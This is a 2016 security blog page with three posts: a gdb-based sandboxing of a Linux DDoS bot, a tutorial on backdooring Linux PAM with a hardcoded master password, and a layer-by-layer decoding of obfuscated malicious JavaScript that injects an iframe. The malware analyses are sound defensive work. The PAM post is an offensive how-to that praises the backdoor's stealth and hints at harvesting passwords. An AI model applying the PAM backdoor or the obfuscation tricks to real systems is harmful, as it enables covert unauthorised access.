lundi 27 juin 2016

Sandboxing a linux malware with gdb

1/ Intro

As I was browsing the other day, I noticed some ELF malware. I choose to analyze one.
At first, it was just to learn some things, but in the end, I've finished by writing a full gdb script which was able to monitor safely all communication of this malware.

2/ Discovery

The file in question is a x86_64 ELF, statically linked, not stripped (!), weighting ~ 200kBytes:
mitsurugi@dojo:~/infected$ file Rx64 
Rx64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
mitsurugi@dojo:~/infected$ ls -l Rx64 
-rw-r--r-- 1 mitsurugi mitsurugi 204783 juin  20 17:54 Rx64

(spoiler off: in the end, I learn that this is DDOSbot/gayfgt family sample)

3/ Reverse

The reversing is not difficult, there is no obfuscation, no anti debug, no persistence. The binary only tries to be stealthy by forking at startup in order to hide its name, and it connects to a C&C, awaiting for commands.

The protocol used is really simple, it's a textual command/response one:
  • regularly, the server sends 'PING', the client replies 'PONG' and vice-versa
  • the server can close the communication
  • the server sets a secret at first use. Any call to the bot without that secret won't be followed by any action. The syntax is "!<secret> <action>"
  • the server can call any shell command
  • the server can call some other functions (flood and scan, basically)
Reverse was done, and an idea appears: why use this malware to connect to its C&C while being monitored?

The logic of the bot can be seen as:

  doing some forks, but only one process remains
  connection to C&C
  A big loop here
    Some code to manage all the forks process if any
    Read data from network
      if PING, send PONG
      if DUP, then exit()
      if starting with !<secret> sh <args> => fork and call shell 
      if starting with !<secret> command args => call function (fork and flood or scan) 

There is nothing really dangerous here. If we just block the shell and flood/scan commands, we end up with a simple client awaiting orders. With this legitimate client, we could connect to the C&C and hear it speak to us. We have to navigate through all the forks, and avoid dangerous commands but with gdb you can put a breakpoint and set $rip elsewhere.

4/ Instrument it

While I was analysing the file, I begun to write a gdb script in order to skip the forks, to print the C&C server, skip all dangerous function. This script became the one I'm showing here.

In the end, every dangerous function is totally neutralized, and I was able to launch it under gdb (and tor) the malware. It connects to the C&C and receive all commands :-)

Here is a live transcript, nothing exciting is showing, just endless PING/PONG reply after a SCANNER OFF (interesting, is the C&C really up?)

root@kali:~# gdb -q Rx64 
Reading symbols from Rx64...(no debugging symbols found)...done.
gdb$ source breakpoints 

#  Starting instrumented binary

                             Nothing ventured, nothing gained.
              You can't do anything without risking something.

Breakpoint 1 at 0x406731
Breakpoint 2 at 0x4067d0
Breakpoint 3 at 0x406466
Breakpoint 4 at 0x40689b
Breakpoint 5 at 0x4069df
Breakpoint 6 at 0x406a4d
Breakpoint 7 at 0x406c4d
Breakpoint 8 at 0x406e0b
gdb$ r
Starting program: /root/Rx64 
Breakpoint 1, 0x0000000000406731 in main ()
main() function
Breakpoint 2, 0x00000000004067d0 in main ()
Skipping all the forks
and the setsid
Breakpoint 3, 0x0000000000406466 in initConnection ()
We got currentServer!
0x417120: ""
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
* C&C is talking to us:
*0x7fffffffd090: "!* SCANNER OFF\n"
C&C sends a command
Will safely ignore it
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
* C&C is talking to us:
*0x7fffffffd090: "PING\n"
buf: PONG
Breakpoint 4, 0x000000000040689b in main ()
Back to main
Jumping all code related to forks
Breakpoint 5, 0x00000000004069df in main ()
* C&C is talking to us:
*0x7fffffffd090: "PING\n"
buf: PONG
Program received signal SIGINT, Interrupt.

5/ Conclusion

The malware is a well known linux malware, called DDOSbot or gayfgt, there is even some source sample available on internet.

Binary and gdb script are available on github:

Talk is easy, action is difficult.
Action is easy, true understanding is difficult

jeudi 16 juin 2016

Creating a backdoor in PAM in 5 line of code

Under Linux (and other Oses), authentification of users is made through Pluggable Authentication Module, aka PAM. Having centralized authentication is a good thing. But it has a drawback: if you trojanize it, you get key for everything. Trojan once, pwn evrywhere!

1/ Intro

Pam has three concepts: username, password and service. Its role is authenticate people to a service with a password.

Pam configuration is done under /etc/pam.d/ directory where each service has its own file:
 root@dojo:/etc/pam.d# ls  
 atd             common-password        lightdm-greeter       polkit-1      sudo  
 chfn            common-session         login       ppp       systemd-user  
 chpasswd        common-session-noninteractive      runuser   vmtoolsd  
 chsh            cron                   newusers    runuser-l xscreensaver  
 common-account  lightdm                other       sshd  
 common-auth     lightdm-autologin      passwd      su  

Basically, each one of those file calls a shared library, where the authentication or other kind things related to auth is done:
 root@dojo:/etc/pam.d# head login  
 # The PAM configuration file for the Shadow `login' service  
 # Enforce a minimal delay in case of failure (in microseconds).  
 # (Replaces the `FAIL_DELAY' setting from login.defs)  
 # Note that other modules may require another minimal delay. (for example,  
 # to disable any delay, you should add the nodelay option to pam_unix)  
 auth    optional delay=3000000  

And that'st he same kind of config files for all services. As I said, we want to backdoor PAM. We don't want to backdoor everything, we just want to be able to succeed in authentication with a choosen password, independantly of the real password of the user.

Almost all services include the common-auth file, and you can guess what is done here by its name.

2/ Backdooring in common-auth

The common-auth file has many directives, but the only important line here is the one checking the password of a user:
auth       [success=1 default=ignore] nullok_secure  

The common-auth file calls the shared library and authentication of user is done here. The logic of this file is easy to understand:
  • get username
  • get password
  • calls a subfunction to validate password against username
So, why don't add an if statement?
  • get username
  • get password
  • if password == "0xMitsurugi" then grant access, else calls the legitimate subfunction
Let go to the sources of PAM (depends on your distro, take the same version number as yours..) and look around line numbers 170/180 in the pam_unix_auth.c file:

mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ vi modules/pam_unix/pam_unix_auth.c

Let's change this by:

Recompile the pam_unix_auth.c, end replace the file:
 mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ make  
 mitsurugi@dojo:~/chall/PAM/pam_deb/pam-1.1.8$ sudo cp \  
  /home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/ \  

3/ Profit !

Try with login, with ssh, with sudo, with su, with the screensaver, your access will be granted with "0xMitsurugi" password. Open access for all accounts \o/

The best part of this is that everything else works as usual. Put your real password, it works. Put a bad one, it fails. Users can change their password, you can audit the strength of the shadow file, you can check for hidden files, you can check for config file modified, open ports, "weird logs", you'll get nothing, but attacker can still get in. Another great advantage of this is that it can remain undetected for a long time.

You can also add logging features in order to catch all password entered, that's an exercise left to the reader.

4/ Enjoy responsibly

Real friends don't backdoor theirs friend's machines.

No one can take Soul Edge from me!

mercredi 15 juin 2016

Analysis of an Evil Javascript

Some days ago, I was invited to check the security of a website.
A customer was complaining of getting alert from its AV while browsing a website, but a visual inspection of the webpage did not reveal anything.

1/ Watch closely

Come back when you're ready! (Denaoshite koi!)

When dealing with infected website, you can start with a simple wget (or curl) and analyze the result. For this time, wget would retrieve an inoffensive HTML file, so the first analysis shows nothing. But if you specify an Internet Explorer User-Agent, you get a different file, way more interesting.
That's a simple and effective trick made by attackers to stay undetected, because infected javascripts are not sent to everybody, only for innocents victims with vulnerable browsers, and not for security analysts. This is usually done with an .htaccess file.

The file I got with a MSIE User-agent looks like this:

 $ wget -U "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US))"  
 $ cat page.html  
 <span id="screenXConfirm" style="display:none">0 23 2cs2 czc22 1m3a i12 5b5 1-f2 2b2 3 11 -12
(...4000 chars later on this only line...)
 7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco</span>  
 (... 11000 chars later on this only line...)   
 defaultFunction=onkeydownOpener; continueDecodeURIComponent(pkcs11Taint)();layersWith="\x76\x65\x72";pkcs11Taint=layersWith;layersWith+=layersWith  
 Error displaying the error page: Application Instantiation Error: Failed to start the session because headers have already been sent by "/jail/var/www/vhosts/" at line 123.  

The script part is interesting. It's filled up with variables, and those names looks like javascript names and functions. After a bit of code beautifying, we can see in the end:

We understand that the pcks11Taint is a string slowly built, variable after variable, which is called like a function thanks to continueDecodeURIComponent(pkcs11Taint)();

Another nice trick is that the pkcs11Taint strings is cleared up right after being called. So, if you try to do some kind of symbolic execution through all the script, you end up with absolutely nothing interesting. You can also see that all the temporary variables are reseted right after evaluation.

2/ Second Layer

You'll be in hell... Before me!

Following this path is really easy. Just change the continueDecodeURIComponent(pkcs11Taint)(); with an alert(); and you'll see this javascript. I beautify it again, and we see:

 a=document.getElementById("screenXConfirm").innerHTML.replace(/[^\d ]/g,"").split(" ");  

Remember the <span id=screenXConfirm ...> we saw just before? We remove everything except numbers and space in order to fill a table.
Then, we XOR all value from the table with the value 98 and we finally execute what we got from the table, translated back to characters.

Here is a little python code to see the result (why python? just because.)
1:  #! /usr/bin/python  
2:  import re  
3:  screenXConfirm="0 23 2cs2 czc (...c/c from page.html...) 7 12 2-b2 7k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"  
5:  screenXConfirm=screenXConfirm.split(" ")  
6:  translated_js=[]  
7:  for i in screenXConfirm:  
8:    num=int(re.sub(r"[^\d ]","",i))  
9:    translated_js.append(chr(num^98))  
11:  print ''.join(translated_js)  

3/ Third Layer

No mercy!

The python code gives this (once again, the code has been beautified for readability):

 buttonUntaint = (+[window.sidebar]) + (+[]);  
 oncontextmenuOnmousedown = ["rv:11", "MSIE", ];  
 for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < oncontextmenuOnmousedown.length; propertyIsEnumWhile++) {  
   if (navigator.userAgent.indexOf(oncontextmenuOnmousedown[propertyIsEnumWhile]) > buttonUntaint) {  
     undefinedFinally = oncontextmenuOnmousedown.length - propertyIsEnumWhile;  
 if (navigator.userAgent.indexOf("MSIE 10") > buttonUntaint) {  
 continueNew = "6pbXWbAoyVTSfe";  
 onloadCheckbox = document.getElementById("screenXConfirm").innerHTML;  
 constEncodeURIComponent = buttonFalse = buttonUntaint;  
 isFiniteDocument = "";  
 onloadCheckbox = onloadCheckbox.replace(/[^a-z]/g, "");  
 for (propertyIsEnumWhile = buttonUntaint; propertyIsEnumWhile < onloadCheckbox.length; propertyIsEnumWhile++) {  
   formsEncodeURIComponent = onloadCheckbox.charCodeAt(propertyIsEnumWhile);  
   if (constEncodeURIComponent % undefinedFinally) {  
     isFiniteDocument += String.fromCharCode(((returnButton + formsEncodeURIComponent - 97) ^ continueNew.charCodeAt(buttonFalse % continueNew.length)) % 255);  
   } else {  
     returnButton = (formsEncodeURIComponent - 97) * 13 * undefinedFinally;  

Aside the use of really badly named variables which can lead to confusion, we note three important things:
  • ["rv:11", "MSIE", ];
    The javascript code tries to autodect the browser. It search for IE11 and more interstingly, the table finishs with ', ]'. I think that the code is autogenerated upon demand, and can autodetect way more borwser. This one wants to detect MSIE or IE11, but the generator code must have more browser and versions.
  • navigator.userAgent.indexOf("MSIE 10")
    The previous check and this one are used to set up a variable to the value of "2" if the browser is IE10 or IE11. Interesting, this javascript targets recent browsers (at least, not an IE8 ^_^ ).
  • continueNew = "6pbXWbAoyVTSfe"; and .replace(/[^a-z]/g, "");
    That continueNew variable is a key. The replace part just takes all the lowercase characters from the screenXConfirm <span> id. It's interesting. The span id is used twice, one for its numbers, another for its lowercase letters. They are used to encrypt layers of obfuscated javascript. We understand better why this span id looks like a bunch of random things.
And we have a decyphering function which decrypt the lowercase characters with the key and the variable setted with the user-agent. This is a really weird way to redirect browser to a specific location... A simple "if" case would have done the job, remeber that we are under two layer of obfuscation.

I used again a bit of python code to see where we are going. I didn't even tried to reverse the decyphering function, because copy-pasting it "just works" (yes, javascript == python ^_^ ):
1:  #! /usr/bin/python  
2:  import re  
3:  screenXConfirm="0 23 2cs2 czc22 1m3a (once again, all of the span id chars)k5 74 75 89aban-eqcdcia-jaod-ra.vd.r-esaicmec-a-mco"  
4:  key="6pbXWbAoyVTSfe"  
6:  returnButton=0  
7:  undefinedFinally=2 #If you have MSIE10 or MSIE11  
8:  buttonFalse=0  
9:  constEncodeURIComponent=0  
10:  isFiniteDocument=[]  
12:  onloadCheckbox=[]  
13:  for i in screenXConfirm:  
14:    c=(re.sub(r"[^a-z]","",i))  
15:    if len(c) > 0:  
16:      onloadCheckbox.append(ord(c))  
18:  for formsEncodeURIComponent in onloadCheckbox:  
19:    if (constEncodeURIComponent%undefinedFinally):  
20:      num=(returnButton+formsEncodeURIComponent-97)^ord(key[buttonFalse%len(key)])  
21:      buttonFalse+=1  
22:      isFiniteDocument.append(chr(num%255))  
23:    else:  
24:      returnButton=(formsEncodeURIComponent-97)*13*undefinedFinally  
25:    constEncodeURIComponent+=1  
27:  print ''.join(isFiniteDocument)  

4/ Hiding in plain sight

Don't let your guard down... or you'll die.

The last javascript code, after beautifying, is:
 if (document.cookie.indexOf(p) == -1) {  
   <div class="kkvhavtlfdalg">  
   <iframe src="" width="250" height="250">  
 c = p + "=364; path=/; expires=" + new Date(new Date().getTime() + 604800000).toUTCString();  
 document.cookie = c;  
 document.cookie = "_" + c;  

We notice immediately two things:
  • The use of the cookie PHP_SESSION_PHP. This is made to look like a legit cookie from a PHP Session. I search through all github repositories, open sources repos and couldn't find one legitimate use of this Cookie. If you have this cookie stored in your browser, I have some bad news for you.
    You can check for Firefox with sqlite:
     mitsurugi@dojo:~/.mozilla/firefox/39wilkuz.default$ sqlite3 cookies.sqlite  
     SQLite version 3.7.13 2012-06-11 02:05:22  
     Enter ".help" for instructions  
     Enter SQL statements terminated with a ";"  
     sqlite> select baseDomain from moz_cookies where name like 'PHP_SESSION_PHP';  

    (yeah, I know, the attack targets IE, but this is Firefox. Whatever.)
  •  The domain where the iframe points to:
    This domain doesn't exist anymore. I can't find any records about it. After some readings, I think it's a method called 'DNS shadowing'. The domain is legit, the subdomain is not. The subdomain has a little TTL and is promptly removed after attack. No tracks, no way to hunt down the IP address. Clever.

5/ Conclusion

Weapons are just tools. True strength lies within me.

In this blogpost, we saw how an attacker can do the first part of a fingerprinting. Only clients with IE10 or IE11 are redirected to a (supposed) evil iframe.
The attacker uses nice trick for staying under the radar, with .htaccess and javascript variables names which looks legit. What is hard to understand is the 3 layer of js obfuscation: if you find the first js illegitimate, you have no problem to go through the 3 layers in very little time, so why spend time in order to do this obfuscation? Maybe it confuses some AV? Another thing?
In the end, the most significative way to block an analyst is the DNS shadowing, and it's very effective :-(

If you search the Internet with PHP_SESSION_PHP and DNS shadow, you find connections to Angler Exploit Kit or Darkleech. Without the iframe, it's hard to say what it really was.

 Quotes are taken from SoulCalibur.